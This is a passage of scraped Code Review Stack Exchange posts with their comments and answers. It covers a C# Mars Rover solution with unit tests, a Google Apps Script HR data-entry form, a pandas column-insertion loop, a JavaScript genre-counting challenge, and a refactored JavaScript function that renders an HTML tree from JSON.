calls." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-10T08:26:59.577", "Id": "453137", "Score": "0", "body": "Yes exactly. And this should use the graphics card if possible on the underlying system." } ], "meta_data": { "CommentCount": "2", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-09T08:31:45.580", "Id": "232091", "ParentId": "232021", "Score": "4" } } ]
{ "AcceptedAnswerId": "232044", "CommentCount": "2", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T16:55:34.570", "Id": "232021", "Score": "5", "Tags": [ "java", "performance", "image" ], "Title": "Image filtering application" }
232021
<p>This is my code for the Mars Rover Challenge, would be nice to get some opinions on it. More details about what the Mars Rover challenge is can be found here:</p> <p><a href="https://code.google.com/archive/p/marsrovertechchallenge/" rel="noreferrer">https://code.google.com/archive/p/marsrovertechchallenge/</a></p> <p>The Mars Rover takes an <code>IEnumerable&lt;string&gt;</code> of instructions, the first element is the size of the surface, "x y" where x is x is length and y is width. Second string element is the starting position, "1 2 N" where N is the direction facing. N being north, S being south etc. Finally the last element is a set of instructions, "LMLMLMLMM" where L is left M is move and R is right.</p> <p>Code should output final position, "1 3 N".</p> <p>See code below with test cases:</p> <pre><code>using System.Collections.Generic; using System.Linq; using MarsRover.Domain.Models; using MarsRover.Models.Domain; namespace MarsRover.Logic.Services { public class NavigationService { protected readonly IReadOnlyCollection&lt;(char FacingDirection, char Instruction, char NewDirection)&gt; DirectionLookup = new List&lt;(char FacingDirection, char Instruction, char NewDirection)&gt; { ('N', 'L', 'W'), ('W', 'L', 'S'), ('S', 'L', 'E'), ('E', 'L', 'N'), ('N', 'R', 'E'), ('E', 'R', 'S'), ('S', 'R', 'W'), ('W', 'R', 'N') }; /// &lt;summary&gt; /// Navigate Mars Rover using set of instructions /// &lt;/summary&gt; /// &lt;param name="instructions"&gt;&lt;/param&gt; /// &lt;returns&gt;String of the Mars Rovers final coordinates and the direction it's facing.&lt;/returns&gt; public virtual string Navigate(IList&lt;string&gt; instructions) { var parsedInstructionsTuple = ValidateAndParseInsutrctions(instructions); if (!parsedInstructionsTuple.isValid) return string.Empty; var xLength = parsedInstructionsTuple.parsedInstructions.Plateau.XTotalLength; var yLength = parsedInstructionsTuple.parsedInstructions.Plateau.YTotalLength; var xStartingPosition = parsedInstructionsTuple.parsedInstructions.StartingPosition.XStartingPosition; var yStartingPosition = parsedInstructionsTuple.parsedInstructions.StartingPosition.YStartingPosition; var facingDirection = parsedInstructionsTuple.parsedInstructions.StartingPosition.DirectionFacing; var position = SetStartingPosition(xStartingPosition, yStartingPosition, facingDirection); foreach (var instruction in parsedInstructionsTuple.parsedInstructions.MovementInstructions) { position = Move(instruction, xLength, yLength, position); } return $"{position.XPosition} {position.YPosition} {position.FacingDirection}"; } /// &lt;summary&gt; /// Turn or move Mars Rover based on the current instruction /// &lt;/summary&gt; /// &lt;param name="instruction"&gt;&lt;/param&gt; /// &lt;param name="currentPosition"&gt;&lt;/param&gt; /// &lt;returns&gt;&lt;/returns&gt; protected virtual Position Move(char instruction, int xLength, int yLength, Position currentPosition) { if (instruction != 'M') { var lookupValue = DirectionLookup .FirstOrDefault(lookup =&gt; lookup.FacingDirection == currentPosition.FacingDirection.ToCharArray().FirstOrDefault() &amp;&amp; lookup.Instruction == instruction); currentPosition.FacingDirection = lookupValue.NewDirection.ToString(); return currentPosition; } var movementAxis = currentPosition.FacingDirection == "E" || currentPosition.FacingDirection == "W" ? "X" : "Y"; var xPosition = currentPosition.XPosition; var yPosition = currentPosition.YPosition; if (movementAxis == "X") { xPosition = currentPosition.FacingDirection == "W" ? currentPosition.XPosition - 1 : currentPosition.XPosition + 1; } else { yPosition = currentPosition.FacingDirection == "S" ? currentPosition.YPosition - 1 : currentPosition.YPosition + 1; } return new Position { FacingDirection = currentPosition.FacingDirection, XPosition = xPosition, YPosition = yPosition }; } /// &lt;summary&gt; /// Set starting position that Mars Rover will navigate from. /// &lt;/summary&gt; /// &lt;param name="x"&gt;&lt;/param&gt; /// &lt;param name="y"&gt;&lt;/param&gt; /// &lt;param name="facingDirection"&gt;&lt;/param&gt; /// &lt;returns&gt;Position object with x and y coordinates and is occupied flag.&lt;/returns&gt; protected Position SetStartingPosition(int x, int y, string facingDirection) { return new Position { XPosition = x, YPosition = y, FacingDirection = facingDirection }; } /// &lt;summary&gt; /// Helper method to parse and validate Mars Rover inputs. /// &lt;/summary&gt; /// &lt;param name="instructions"&gt;&lt;/param&gt; /// &lt;returns&gt;Boolean based on validation of instructions and tuple of instructions for navigation.&lt;/returns&gt; protected virtual (bool isValid, ParsedInstructions parsedInstructions) ValidateAndParseInsutrctions(IList&lt;string&gt; instructions) { if (!instructions.Any() || instructions.Count != 3) return (isValid: false, parsedInstructions: null); var plateau = instructions[0].Split(' '); if(plateau.Length != 2) return (isValid: false, parsedInstructions: null); var startingPosition = instructions[1].Split(' '); var movementInstructions = instructions[2].ToArray(); var invalidInputsList = new List&lt;bool&gt; { int.TryParse(plateau[0], out var xTotalLength), int.TryParse(plateau[1], out var yTotalLength), int.TryParse(startingPosition[0], out var xStartingPosition), int.TryParse(startingPosition[1], out var yStartingPosition) }; if (plateau.Length != 2 || startingPosition.Length != 3 || invalidInputsList.Contains(false)) return (isValid: false, null); return (isValid: true, parsedInstructions: new ParsedInstructions { Plateau = (xTotalLength, yTotalLength), StartingPosition = (xStartingPosition, yStartingPosition, startingPosition[2].FirstOrDefault().ToString()), MovementInstructions = movementInstructions }); } } } </code></pre> <p><strong>Test cases</strong></p> <pre><code>using Xunit; using MarsRover.Logic.Services; namespace MarsRover.UnitTests { public class NavigationServiceTests { [Theory] [InlineData(new string[] { "5 5", "1 2 N", "LMLMLMLMM" }, "1 3 N", "Rover navigated to expected destination.")] [InlineData(new string[] { "5 5", "3 3 E", "MMRMMRMRRM" }, "5 1 E", "Rover navigated to expected destination.")] [InlineData(new string[] { }, "", "Invalid input because of empty string array")] [InlineData(new string[] { "5 5", "3 3", "MMRMMRMRRM" }, "", "Invalid input because the starting destination doesn't have direction.")] [InlineData(new string[] { "5 5", "3 3", "WASDRRRLLLSDD" }, "", "Invalid input because of invalid characters.")] [InlineData(new string[] { ",,,,rrrr", "3 3", "MMRMMRMRRM" }, "", "Invalid input because of invalid characters.")] [InlineData(new string[] { "5", "3 3", "MMRMMRMRRM" }, "", "Invalid input because no x or y position to create surface array.")] [InlineData(new string[] { "5 5", "1 2 N", "" }, "1 2 N", "Rover stayed in the same position.")] public void NavigateSurfaceTest(string[] input, string expected, string reason) { // Arrange var SUT = new NavigationService(); // Act var actual = SUT.Navigate(input); // Assert Assert.Equal(expected, actual); } } } </code></pre> <p>Full code is here: <a href="https://github.com/NickGowdy/MarsRoverChallenge" rel="noreferrer">https://github.com/NickGowdy/MarsRoverChallenge</a></p>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T17:15:47.057", "Id": "452838", "Score": "5", "body": "Not everyone (including me) knows what the \"Mars Rover Challenge\" is. Include at least a short description of the problem directly in your question and link to a full problem description if possible." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T17:23:12.383", "Id": "452839", "Score": "0", "body": "@AlexV I've added the link of the test to my post." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-08T17:08:15.243", "Id": "452964", "Score": "1", "body": "It would have been better to add at least some of the description of the problem as well as the link since links may go bad." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-11T19:32:54.133", "Id": "453319", "Score": "0", "body": "I would have liked to see a Grid class that would check if any position is within the grid or not. And I would have liked to see a Rover class with a Move() and Turn() method, which would be linked to the grid. You could then have the rover check if it's still in the grid and has not collided with another rover." } ]
[ { "body": "<p>Overall this looks fine. There are some small things that I would note, though.</p>\n\n<ul>\n<li><p>If you deconstruct the return value from <code>ValidateAndParseInsutrctions</code> (typo, btw) like so:</p>\n\n<pre><code>var (valid, instructions) = ValidateAndParseInstructions(...);\n</code></pre>\n\n<p>you can have shorter assignments afterwards:</p>\n\n<pre><code>if (!valid) return string.Empty;\n\nvar xLength = instructions.Plateau.XTotalLength;\nvar yLength = instructions.Plateau.YTotalLength;\n// ...\n</code></pre>\n\n<p>which reads a bit nicer.</p></li>\n<li><p>I don't really see the need for <code>SetStartingPosition</code>. You're not setting a position, you're creating and returning a <code>Position</code>. This method is basically a wrapper around the <code>Position</code> constructor.</p></li>\n<li><p>I don't like how <code>Move</code> sometimes mutates the input <code>currentPosition</code> and sometimes returns a new <code>Position</code>. If I were you, I'd make <code>Position</code> immutable and always return a new one. As pointed out in the comments, if you were to make the class immutable, it would also be a good idea to rename it to <code>Location</code>.</p></li>\n<li><p>In this piece of code:</p>\n\n<pre><code>var lookupValue = DirectionLookup\n .FirstOrDefault(lookup =&gt; lookup.FacingDirection == currentPosition.FacingDirection.ToCharArray().FirstOrDefault() \n &amp;&amp; lookup.Instruction == instruction);\n</code></pre>\n\n<p>you have the problem of mixing <code>char</code> (your method input) and <code>string</code> (your lookup). You should decide whether you want to represent instructions as <code>char</code> or <code>string</code> and then stick to it.</p>\n\n<pre><code>var lookupValue = DirectionLookup.FirstOrDefault(lookup =&gt;\n lookup.FacingDirection == currentPosition.FacingDirection\n &amp;&amp; lookup.Instruction == instruction);\n</code></pre></li>\n<li><p>Related to that, I'm wondering if it makes sense to replace the literals with <code>const</code> values (e. g. <code>private const string Move = \"M\";</code>).</p></li>\n<li><p>I just saw that your <code>Navigate</code> method takes an <code>IList&lt;string&gt;</code> instead of an <code>IEnumerable&lt;string&gt;</code> like your problem statement says. As you do not need anything from the <code>IList&lt;T&gt;</code> interface, I'd say you can simply accept an <code>IEnumerable&lt;string&gt;</code> here.</p></li>\n</ul>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-08T10:24:06.207", "Id": "452916", "Score": "5", "body": "_\"If I were you, I'd make Position immutable and always return a new one.\"_ I agree with the technical reasoning, but slightly balk at the naming. Semantically, a position can change, whereas a **location** cannot. I would say that a position is a property of the rover (which changes as it moves around) whereas a location is a type (it represents a given coordinate). If you make `Position` immutable, I would suggest renaming it to `Location` (or `Coordinate`, or `Point`, or ...) to more accurately reflect what it represents." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-09T14:07:37.033", "Id": "453053", "Score": "0", "body": "That's a good point. I'll update the answer." } ], "meta_data": { "CommentCount": "2", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T20:58:20.910", "Id": "232030", "ParentId": "232024", "Score": "3" } } ]
{ "AcceptedAnswerId": null, "CommentCount": "4", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T17:07:28.160", "Id": "232024", "Score": "8", "Tags": [ "c#", "programming-challenge" ], "Title": "Mars Rover Challenge in C#" }
232024
<p><strong>Business Process:</strong> Data entry form allows HR employees to input data for new employees, update data for existing employees, or terminate employees. Three data storage sheets exist for existing employees: Basic information, personal information, and education information, and one exists for separated employee information.</p> <p>For a new employee, an ID is generated, HR rep manually inputs data into entry form, presses save, and a new row is populated in each of the three existing employee sheets with relevant information.</p> <p>For an existing employee, HR rep enters the ID; entry form populates with an existing employee's data, HR rep edits, presses "save," and existing rows in the three existing employee sheets update accordingly.</p> <p>To terminate an employee, the HR rep enters the ID and presses "separate employee." A new row is populated in the separated employee sheet with relevant information and that employee's rows in the other three sheets are deleted.</p> <p><strong>Help Requested:</strong> I am relatively new to Google Apps Script and coding in general and have been able to muscle my way through this so far but would like some help with efficiency and code hygiene. Specifically, I'm worried about:</p> <ol> <li><p>I use many of the same variables in the various functions but am re-defining them each time because I'm not sure how to not do this (don't think globally defining would work..)</p></li> <li><p>I have a lot of inflexible references (not sure the proper name for this), where I reference ranges with actual cell references (D5:D40), which then have to get updated any time I add a row or column into any of the data or entry sheets. </p></li> <li><p>There are probably many other issues that I'm not even aware of and would greatly appreciate any advice.</p></li> </ol> <pre><code>//Function goal: Clear contents of data entry sheet and add age formula function onOpen(){ var sss = SpreadsheetApp.getActiveSpreadsheet(); var basicInfoSheet = sss.getSheetByName("Basic Employee Information"); var personalInfoSheet = sss.getSheetByName("Personal Information"); var dataEntrySheet = sss.getSheetByName("Data Entry"); dataEntrySheet.getRange("D5:D40").clearContent(); dataEntrySheet.getRange("D29").setFormula('iferror(if(D28="","",datedif(D28,today(),"Y")))'); } //Transpose any array function transpose(array){ return Object.keys(array[0]).map(function (c) { return array.map(function (r) { return r[c]; }); }); } //Function goal: Prepare data entry sheet to accept new employee information function newEmployee() { var sss = SpreadsheetApp.getActiveSpreadsheet(); var basicInfoSheet = sss.getSheetByName("Basic Employee Information"); var personalInfoSheet = sss.getSheetByName("Personal Information"); var dataEntrySheet = sss.getSheetByName("Data Entry"); var sepEmpSheet = sss.getSheetByName("Separated Employees"); var eduSheet = sss.getSheetByName("Education Information"); //Clear existing data in data entry fields dataEntrySheet.getRange("D5:D40").clearContent(); dataEntrySheet.getRange("D29").setFormula('iferror(if(D28="","",datedif(D28,today(),"Y")))'); //Paste next employee ID into data entry sheet var basicInfoLastRow = basicInfoSheet.getLastRow(); var sepEmpLastRow = sepEmpSheet.getLastRow(); var basicLastID = basicInfoSheet.getRange(basicInfoLastRow,1).getValue(); var sepLastID = sepEmpSheet.getRange(sepEmpLastRow,1).getValue(); dataEntrySheet.getRange("D5").setValue(Math.max(basicLastID,sepLastID)+1); } //Function goal: Save data entered in data entry fields to basic employee information, personal information, and education information sheets function saveData(){ var ui = SpreadsheetApp.getUi(); var sss = SpreadsheetApp.getActiveSpreadsheet(); var basicInfoSheet = sss.getSheetByName("Basic Employee Information"); var personalInfoSheet = sss.getSheetByName("Personal Information"); var dataEntrySheet = sss.getSheetByName("Data Entry"); var eduInfoSheet = sss.getSheetByName("Education Information"); var lastRow = basicInfoSheet.getLastRow(); var basicInfoLastCol = basicInfoSheet.getLastColumn(); var personalInfoLastCol = personalInfoSheet.getLastColumn(); var eduInfoLastCol = eduInfoSheet.getLastColumn(); //Enter N/A into empty cells var dataRange = dataEntrySheet.getRange("D5:D40"); var dataRangeFlat = dataRange.getValues().map(function(row) {return row[0];}); for(var ct = 0; ct&lt;dataRange.getNumRows(); ct++){ if(dataEntrySheet.getRange(ct+5,4).isBlank()===true){ dataEntrySheet.getRange(ct+5,4).setValue("N/A"); } } var dataRange = dataEntrySheet.getRange("D5:D40"); var dataRangeFlat = dataRange.getValues().map(function(row) {return row[0];}); //If missing data, notify of missing data and confirm the save if(dataRangeFlat.indexOf("N/A")&gt;-1){ var result = ui.alert("Some fields have not been filled in","Would you like to save employee with incomplete data?",ui.ButtonSet.YES_NO); if(result === ui.Button.YES){ //Transpose data to update var basicData = dataEntrySheet.getRange("D5:D15").getValues(); var personalData = dataEntrySheet.getRange("D16:D35").getValues(); var eduData = dataEntrySheet.getRange("D36:D40").getValues(); var basicDataT = transpose(basicData); var personalDataT = transpose(personalData); var eduDataT = transpose(eduData); //If employee not already in system, create a new row in each spreadsheet and add the data var newID = dataEntrySheet.getRange("D5").getValue(); var existingIDs = basicInfoSheet.getRange(2,1,lastRow-1,1).getValues(); var existingIDsFlat = existingIDs.map(function(row) {return row[0];}); var name = dataEntrySheet.getRange("D6").getValue(); var position = dataEntrySheet.getRange("D10").getValue(); if(existingIDsFlat.indexOf(newID)==-1){ //Add row and data to basic employee information sheet basicInfoSheet.insertRowAfter(lastRow); basicInfoSheet.getRange(lastRow+1,1,1,basicInfoLastCol).setValues(basicDataT); //Add row and data to personal information sheet personalInfoSheet.insertRowAfter(lastRow); personalInfoSheet.getRange(lastRow+1,1).setValue(newID); personalInfoSheet.getRange(lastRow+1,2).setValue(name); personalInfoSheet.getRange(lastRow+1,3).setValue(position); personalInfoSheet.getRange(lastRow+1,4,1,personalInfoLastCol-3).setValues(personalDataT); //Add row and data to education information sheet eduInfoSheet.insertRowAfter(lastRow); eduInfoSheet.getRange(lastRow+1,1).setValue(newID); eduInfoSheet.getRange(lastRow+1,2).setValue(name); eduInfoSheet.getRange(lastRow+1,3).setValue(position); eduInfoSheet.getRange(lastRow+1,4,1,eduInfoLastCol-3).setValues(eduDataT); //Notify user that data has been saved ui.alert("Complete","New employee information saved",ui.ButtonSet.OK); //If an employee already in the system, overwrite existing data } else { //Notify user that employee is already in the system and ask if they want to proceed var result = UI.alert("Employee ID already exists","Do you want to update existing employee information?",ui.ButtonSet.YES_NO); //If yes - update existing employee if(result === ui.Button.YES){ var targetRow = existingIDsFlat.indexOf(newID)+2; basicInfoSheet.getRange(targetRow,1,1,basicInfoLastCol).setValues(basicDataT); personalInfoSheet.getRange(targetRow,4,1,personalInfoLastCol-3).setValues(personalDataT); eduInfoSheet.getRange(targetRow,4,1,eduInfoLastCol-3).setValues(eduDataT); ui.alert("Employee information updated"); //If no - do not update existing employee, return to the data entry screen and alert that data not updated } else { ui.alert("Employee information not updated"); } } } } } //Function goal: Find existing employee data and update via data entry screen function updateEmployee(){ var ui = SpreadsheetApp.getUi(); var result = ui.prompt("Update employee information","Please enter the employee ID:",ui.ButtonSet.OK_CANCEL); //Process user's response var button = result.getSelectedButton(); var text = result.getResponseText(); if(button==ui.Button.OK){ var employeeID = Number(text) var sss = SpreadsheetApp.getActiveSpreadsheet(); var basicInfoSheet = sss.getSheetByName("Basic Employee Information"); var personalInfoSheet = sss.getSheetByName("Personal Information"); var eduInfoSheet = sss.getSheetByName("Education Information") var dataEntrySheet = sss.getSheetByName("Data Entry"); var lastRow = basicInfoSheet.getLastRow(); var basicInfoLastCol = basicInfoSheet.getLastColumn(); var personalInfoLastCol = personalInfoSheet.getLastColumn(); var eduInfoLastCol = eduInfoSheet.getLastColumn(); var existingIDs = basicInfoSheet.getRange(2,1,lastRow-1,1).getValues(); var existingIDsFlat = existingIDs.map(function(row) {return row[0];}); //If employee ID does not exist, prompt for new ID if(existingIDsFlat.indexOf(employeeID)==-1){ ui.alert("Employee ID does not exist, please try again.",ui.ButtonSet.OK); } else { //If employee ID does exist, clear data entry contents and replace with employee data dataEntrySheet.getRange("D5:D40").clearContent(); var targetRow = existingIDsFlat.indexOf(employeeID)+2; var basicData = basicInfoSheet.getRange(targetRow,1,1,basicInfoLastCol).getValues(); var personalData = personalInfoSheet.getRange(targetRow,4,1,personalInfoLastCol-3).getValues(); var eduData = eduInfoSheet.getRange(targetRow,4,1,eduInfoLastCol-3).getValues(); var basicDataT = transpose(basicData); var personalDataT = transpose(personalData); var eduDataT = transpose(eduData); dataEntrySheet.getRange("D5:D15").setValues(basicDataT); dataEntrySheet.getRange("D16:D35").setValues(personalDataT); dataEntrySheet.getRange("D36:D40").setValues(eduDataT); //Replace age equation dataEntrySheet.getRange("D29").setFormula('iferror(if(D28="","",datedif(D28,today(),"Y")),"N/A")'); } } } //Function goal: Separate employee - add employee information to separated employee sheet and remove the employee from other sheets function removeEmployee(){ var ui = SpreadsheetApp.getUi(); var result = ui.prompt("Please confirm","If you are sure you want to separate employee, please enter separation date",ui.ButtonSet.OK); var sss = SpreadsheetApp.getActiveSpreadsheet(); //Process user's response var button = result.getSelectedButton(); var text = result.getResponseText(); //If separation date entered, continue if(text!=""){ var basicInfoSheet = sss.getSheetByName("Basic Employee Information"); var dataEntrySheet = sss.getSheetByName("Data Entry"); var personalInfoSheet = sss.getSheetByName("Personal Information"); var eduInfoSheet = sss.getSheetByName("Education Information"); var separatedSheet = sss.getSheetByName("Separated Employees"); var basicInfoLastRow = basicInfoSheet.getLastRow(); var sepEmpLastRow = separatedSheet.getLastRow(); var existingIDs = basicInfoSheet.getRange(2,1,basicInfoLastRow-1,1).getValues(); var existingIDsFlat = existingIDs.map(function(row) {return row[0];}); var employeeID = dataEntrySheet.getRange("D5").getValue(); var name = dataEntrySheet.getRange("D6").getValue(); var position = dataEntrySheet.getRange("D10").getValue(); var startDate = dataEntrySheet.getRange("D7").getValue(); var sepDate = text var sourceRow = existingIDsFlat.indexOf(employeeID)+2; var targetRow = sepEmpLastRow+1; //Add row to separated sheet with relevant values separatedSheet.insertRowAfter(sepEmpLastRow); separatedSheet.getRange(sepEmpLastRow+1,1).setValue(employeeID); separatedSheet.getRange(sepEmpLastRow+1,2).setValue(name); separatedSheet.getRange(sepEmpLastRow+1,3).setValue(position); separatedSheet.getRange(sepEmpLastRow+1,4).setValue(startDate); separatedSheet.getRange(sepEmpLastRow+1,5).setValue(sepDate); //Copy length of employment calculation down separatedSheet.getRange(sepEmpLastRow,6).copyTo(separatedSheet.getRange(targetRow,6), {contentsOnly:false}); //Remove row from basic employee information and personal information sheets basicInfoSheet.deleteRow(sourceRow); personalInfoSheet.deleteRow(sourceRow); eduInfoSheet.deleteRow(sourceRow); //If separation date not entered, do nothing } } <span class="math-container">```</span> </code></pre>
[]
[]
{ "AcceptedAnswerId": null, "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T17:59:30.613", "Id": "232026", "Score": "6", "Tags": [ "google-apps-script", "google-sheets" ], "Title": "HR Data Entry Form allows addition of new employees and update of existing employees" }
232026
<p>need to rewrite some code I already have. It insert columns where a 'Standard Deviation' column is missing. To do that it checks if the preceding column is a "variable" column, and if there already is a "Standard Deviation" column after it.</p> <p>Right now I'm using a while loop that iterates through the columns checking <code>df.iloc[1,x]</code> and <code>df.iloc[1,x+1]</code>.</p> <pre><code>i = 7 j = len(df.columns)-1 while i &lt; j: if df.loc[1,i] != 'Standard Deviation' and df.loc[1,i] != 'Replicates' and df.loc[1,i] != 'Method': if df.loc[1,i+1] != 'Standard Deviation': df.insert(i+1,'Standard Deviation',np.nan) df.columns = pd.RangeIndex(df.columns.size) df.loc[1,i+1]='Standard Deviation' i+=1 j = len(df.columns)-1 df.insert(len(df.columns),'Standard Deviation',np.nan) df.columns = pd.RangeIndex(df.columns.size) df.loc[1,len(df.columns)-1]='Standard Deviation' </code></pre> <p>Snippet from dataframe (hard to make sense of it):</p> <pre class="lang-none prettyprint-override"><code>50 51 52 53 54 55 56 57 58 0 Pour Point (°C) Pour Point (°C) Pour Point (°C) Pour Point (°C) Boiling Point Distribution- Temperature (°C) Boiling Point Distribution- Temperature (°C) Boiling Point Distribution- Temperature (°C) Boiling Point Distribution- Temperature (°C) Boiling Point Distribution- Temperature (°C) 1 Pour point Standard Deviation Replicates Method Initial Boiling Point 5% 10% 15% 20% 2 NaN NaN NaN NaN NaN NaN NaN NaN NaN 3 &lt; -25 NaN NaN ASTM D97 NaN 35 52 70 88 4 &lt; -25 NaN NaN ASTM D97 NaN 56 84 104 135 5 -6 NaN NaN ASTM D97 NaN 115 166 224 259 6 24 NaN NaN ASTM D97 NaN 279 303 322 339 </code></pre> <p>Right now the code works and gives the expected outcome. I just want to rewrite it in a more efficient/elegant way.</p> <p>I don't know how to do it without iterating over the columns to specify checking <code>df.iloc[1,i]</code> and <code>df.iloc[1,i+1]</code></p>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T19:42:49.210", "Id": "452854", "Score": "2", "body": "Welcome to CR! We're a little bit different from other Stack Exchange Q&A sites, in that every single one of our \"questions\" basically asks the same thing: feedback on any/all aspects of the working code -- as such, you may have missed the watermark text in the title box, suggesting to use a title the *describes or summarizes the purpose of the code*. It doesn't have to read like a question. In fact, it's usually a better title when it doesn't. Feel free to [edit] your post title. Puns usually work very well =)" } ]
[]
{ "AcceptedAnswerId": null, "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T18:40:15.720", "Id": "232027", "Score": "4", "Tags": [ "python", "pandas" ], "Title": "Insert multiple columns in specific location based on two conditions in other columns" }
232027
<p>I was doing Favorite Genres code from leetcode </p> <p>Question Link: <a href="https://leetcode.com/discuss/interview-question/373006" rel="nofollow noreferrer">https://leetcode.com/discuss/interview-question/373006</a></p> <blockquote> <p><strong>Question:</strong> Given a map Map> userSongs with user names as keys and a list of all the songs that the user has listened to as values.</p> <p>Also given a map Map> songGenres, with song genre as keys and a list of all the songs within that genre as values. The song can only belong to only one genre.</p> <p>The task is to return a map Map>, where the key is a user name and the value is a list of the user's favorite genre(s). Favorite genre is the most listened to genre. A user can have more than one favorite genre if he/she has listened to the same number of songs per each of the genres.</p> </blockquote> <p>For this I wrote the following algorithm </p> <p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false"> <div class="snippet-code"> <pre class="snippet-code-js lang-js prettyprint-override"><code>let userSongs, songGenres function popularity (users, geners) { const songsG = {} for (let gener in geners) { const songs = geners[gener] let i = 0 while (i&lt;songs.length) { const song = songs[i] songsG[song] = gener i++ } } const pGeners = {} for (let user in users) { const uSongs = users[user] let i = 0; const songMap = {} const pUserGeners = [] while (i&lt;uSongs.length) { const song = uSongs[i] const gener = songsG[song] if (songMap.hasOwnProperty(gener)) { if (songMap[gener] &lt; 2) { pUserGeners.push(gener) songMap[gener] = songMap[gener] + 1 } } else if (gener) { songMap[gener] = 1 } i++ } pGeners[user] = pUserGeners } return pGeners } userSongs = { "David": ["song1", "song2", "song3", "song4", "song8", "song11", "song12"], "Emma": ["song5", "song6", "song7"] }, songGenres = { "Rock": ["song1", "song3", "song11", "song12"], "Dubstep": ["song7"], "Techno": ["song2", "song4"], "Pop": ["song5", "song6"], "Jazz": ["song8", "song9"] } console.log(popularity(userSongs, songGenres))</code></pre> </div> </div> </p> <p>while the following code, does work, I am not thinking it is optimal. Can someone help me and suggest me on how I can make this code for optimize? </p>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-08T03:18:00.330", "Id": "452881", "Score": "1", "body": "The code does not look right as described in the question you quoted from leetcode.. Users that listen at most once to any genre will not have any genre added to their list of favorite genres. You return an array of objects without user names rather than an object with users and genres. eg question wants map `{David:[\"Rock\",\"Techno\"], Emma:[\"Pop\"]}`. you return array `[{user:[\"Rock\",\"Techno\"]},{user:[\"Pop\"]}]`" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-08T03:25:52.100", "Id": "452882", "Score": "0", "body": "Also the `&& songMap[gener] < 2` means that if the user listens to the same genre 4 times that genre is counted twice, 6 time and its counted three times, and so on.." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-08T06:04:35.053", "Id": "452896", "Score": "0", "body": "@iRohitBhatia Please provide the correct code (considering the above comments)" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-08T12:38:55.450", "Id": "452927", "Score": "0", "body": "@Blindman67 Fixed those bugs" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-08T12:59:11.713", "Id": "452930", "Score": "1", "body": "Sorry to say but still not working, Still missing genres when only one song .and the logic you use to add genres is flawed, adding genres when more than one song even if not most fav genre. Maybe pull the question and comeback when you have given it a good test. I suggest you make up some data to test on not just the single test case you use." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-08T14:06:40.880", "Id": "452942", "Score": "0", "body": "@Blindman67 I go t the question wrong, I had the understanding that any gener listened to more than once is fav." } ]
[]
{ "AcceptedAnswerId": null, "CommentCount": "6", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T22:25:22.940", "Id": "232033", "Score": "2", "Tags": [ "javascript", "programming-challenge" ], "Title": "Favorite Genres" }
232033
<p>I've written a function to create an HTML tree from JSON.</p> <pre><code>async function traverseTree (list, node) { const li = document.createElement('li') if (node.kids) { const ul = document.createElement('ul'), span = document.createElement('span') span.innerText = node.name li.appendChild(span) li.appendChild(ul) list.appendChild(li) for (const kid of node.kids) { traverse(ul, kid) } return list } li.innerText = node.name list.appendChild(li) return list } ;(async function(){ const tree = await readJson('./tree.json'), list = document.createElement('ul'), output = await traverseTree(list, tree) console.log(output) })() </code></pre> <p>The issue is that I don't want to display the root node in the HTML tree since it is already displayed elsewhere, therefore I modified the code to exclude it.</p> <pre><code>async function traverseTree (list, node, isNotRoot) { // additional parameter const li = document.createElement('li') if (node.kids) { let ul = list // now let if (isNotRoot) { // additional conditional const span = document.createElement('span') ul = document.createElement('ul') // additional assignment of value span.innerText = node.name li.appendChild(span) li.appendChild(ul) list.appendChild(li) } for (const kid of node.kids) { traverseTree(ul, kid, true) // additional argument } return list } li.innerText = node.name list.appendChild(li) return list } </code></pre> <p>I'm wondering if there is a better, cleaner way to go about this?</p>
[]
[ { "body": "<p>Let's separate it by responsibilities into renderKids, renderName, traverseTree so that:</p>\n\n<ol>\n<li>the main function can start explicitly from where you want</li>\n<li>functions become immutable, free of side-effects</li>\n<li>less repeated code</li>\n<li>a single <code>return</code> is used</li>\n<li>hopefully, the intent and flow become more obvious</li>\n</ol>\n\n<pre><code>function renderTree(json) {\n\n function renderKids(kids) {\n const ul = document.createElement('ul');\n for (const kid of kids) {\n ul.appendChild(traverseTree(kid))\n }\n return ul;\n }\n\n function renderName(name) {\n const span = document.createElement('span');\n span.textContent = name;\n return span;\n }\n\n function traverseTree(node) {\n const li = document.createElement('li');\n if (node.kids) {\n li.appendChild(renderName(node.name));\n li.appendChild(renderKids(node.kids));\n } else {\n li.textContent = node.name;\n }\n return li;\n }\n\n return renderKids(json.kids || []);\n}\n</code></pre>\n\n<p>Usage: <code>const output = renderTree(await readJson('./tree.json'))</code></p>\n\n<p>Note, <code>traverseTree</code> is not asynchronous so there's no need for <code>async</code> keyword.</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-08T20:58:19.963", "Id": "452993", "Score": "2", "body": "Modularizing code makes everything better." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-12T22:37:38.787", "Id": "453520", "Score": "0", "body": "why not make the function asynchronous?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-12T22:49:21.690", "Id": "453522", "Score": "0", "body": 